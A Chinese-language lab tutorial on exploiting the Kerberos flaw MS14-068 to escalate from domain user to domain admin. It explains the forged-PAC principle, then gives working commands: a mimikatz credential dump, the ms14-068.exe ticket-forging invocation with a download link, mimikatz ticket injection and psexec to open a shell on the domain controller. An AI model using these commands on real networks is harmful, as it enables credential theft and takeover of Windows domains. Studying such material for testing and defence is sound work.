域内提权之MS14-068

Table of Contents

目标:普通域成员——>域管理员

漏洞利用前提

  1. 域控没有打MS14-068的补丁(KB3011780)
  2. 拿下一台加入域的计算机
  3. 有这台域内计算机的域用户密码和Sid

漏洞原理 #

Kerberos 域用户提权漏洞(MS14-068,CVE-2014-6324),所有 Windows 服务器都会受到该漏洞影响。包括 Windows Server 2003、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012 和 Windows Server 2012 R2。

如果攻击者获取了域内任何一台计算机的 shell 权限,同时知道任意域用户的用户名、SID、密码,即可获取域管理员权限。

在kerberos 协议中 ——> Kerberos 认证,Client去访问Server,需要知道是否具有访问权限。所以微软在KRB_AS_REP中的TGT中增加了Client的PAC(特权属性证书),也就是Client的权限,包括Client的User的SID、Group的SID。ms14-068 漏洞就是 经过身份验证的Client在TGT中伪造高权限的PAC。该漏洞允许任何一个域普通用户,将自己提升至域管理员权限。微软给出的补丁号kb3011780。

漏洞复现 #

环境:

  • win2012(192.168.10.2) 域控,开启了防火墙
  • win7(192.168.10.5),域成员

1. win7获取域账户的密码及sid值

win7机器上查看域管理员,可发现,并没有自己

这里使用mimikatz去抓取域用户的明文密码

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit > 1.txt

通过以上信息收集我们获取了

  • 域用户:yuwin7
  • 域用户密码:yuwin7.com
  • sid:xxxx
  • 域名:test.lab
  • 域控ip:192.168.10.2

2. 利用ms14-068.exe 工具生成伪造的kerberos协议认证证书

工具:https://codeload.github.com/ianxtianxt/MS14-068/zip/refs/heads/master

 ms-14-068.exe -u   域用户@域名  -p 域用户密码 -s 域用户sid -d 域控ip

生成了证书:TGT_yuwin7@test.lab.ccache

3.  利用mimikatz.exe将证书写入,从而提升为域管理员

kerberos::ptc 证书名字

4. 使用PsExec.exe以管理员权限运行连接域控

psexec64.exe \\域控ip cmd.exe -accepteula

Ps:域管理员与域控建立ipc连接不需要输入用户密码。普通域用户则需要